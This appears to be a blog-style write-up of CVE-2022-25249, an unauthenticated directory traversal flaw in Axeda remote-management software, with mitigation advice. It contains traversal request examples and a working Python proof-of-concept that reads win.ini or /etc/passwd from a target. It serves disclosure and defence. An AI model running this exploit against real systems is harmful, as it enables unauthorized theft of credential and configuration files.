In early 2022, cybersecurity researchers discovered a serious vulnerability in the Axeda Agent (all versions except 6.9.2 and 6.9.3) and Axeda Desktop Server for Windows (all versions). This issue, tracked as CVE-2022-25249, could allow a remote attacker to read files anywhere on your system using a simple directory traversal attack. No authentication is needed, which makes this flaw especially dangerous for organizations running Axeda software exposed to the internet.

In this article, we’ll break down what CVE-2022-25249 is, how it works, and what steps you can take to protect your systems. We’ll also look at a real-world proof-of-concept exploit and discuss how attackers can use it to steal sensitive files.

What Is Axeda?

Axeda is a remote monitoring and management platform used for connected devices, often found in critical infrastructure, medical devices, and industrial environments. Unfortunately, this focus on remote access makes vulnerabilities in Axeda products enticing targets for hackers.

What Is Directory Traversal?

Directory traversal, also known as path traversal, is a type of security vulnerability where an attacker tricks an application into accessing files or directories outside its intended scope. By manipulating file paths (using sequences like ../), an attacker can reach sensitive files, like configuration data, passwords, or private keys.

The Problem

The vulnerable Axeda Agent and Desktop Server expose an HTTP(S) service, typically listening on a configurable port (the default can vary depending on installation). If you can connect to this port, you can send specially crafted requests that let you read arbitrary files from the file system.

A legitimate request might look like this

GET /file?filename=logfile.txt HTTP/1.1
Host: <target>

But the server *fails to sanitize* the filename parameter.

An attacker can alter the request like so

GET /file?filename=../../../../windows/win.ini HTTP/1.1
Host: <target>

This ../../.. sequence navigates up the directory tree, breaching the intended restrictions.

Here's a simple Python example you could use (for educational purposes only)

import requests

# Target Axeda server details
target_host = "192.168.1.10"
target_port = 808  # default port, may vary

# File to read from the victim machine
target_file = "../../../../../windows/win.ini"  # Example: Windows host

url = f"http://{target_host}:{target_port}/file?filename={target_file}";

response = requests.get(url)
if response.ok:
    print("[+] Success! File contents:")
    print(response.text)
else:
    print("[-] Failed to retrieve file.")

Replace the target_host, target_port, and target_file parameters as necessary. On Linux/Unix, try /etc/passwd instead of win.ini.

Remote, unauthenticated exploitation: Anyone who can connect to the port can exploit this.

- Steal sensitive data: Attackers can grab password files, service configurations, SSH keys, and more.
- Facilitate further attacks: Leaked config files may reveal other vulnerabilities, user credentials, or ways to escalate privileges.

UPDATE IMMEDIATELY

Upgrade to Axeda Agent v6.9.2, v6.9.3, or later. These versions fix the directory traversal flaw.
 
  - PTC Security Advisory

MONITOR LOGS

Watch for suspicious requests that repeat patterns like ../, especially in URL parameters.

References

- Official CVE Description
- PTC Security Advisory - Axeda Platform Vulnerabilities (CS356038)
- Security Researcher Blog (Claroty) (deep dive, exploit details)
- MITRE CVE Record

Conclusion

CVE-2022-25249 is a critical vulnerability that could expose sensitive data on thousands of devices worldwide. If you use Axeda Agent or Desktop Server for Windows, updating as soon as possible is crucial. Don’t overlook network exposure – limit outside access, check logs, and stay up-to-date with security advisories.

Stay safe, patch fast, and remember: the best way to avoid being the next victim is to act before an attack happens.


If you found this article helpful, please share it with your IT team and double-check any exposed Axeda deployments in your organization!

Timeline

Published on: 03/16/2022 15:15:00 UTC
Last modified on: 03/28/2022 13:29:00 UTC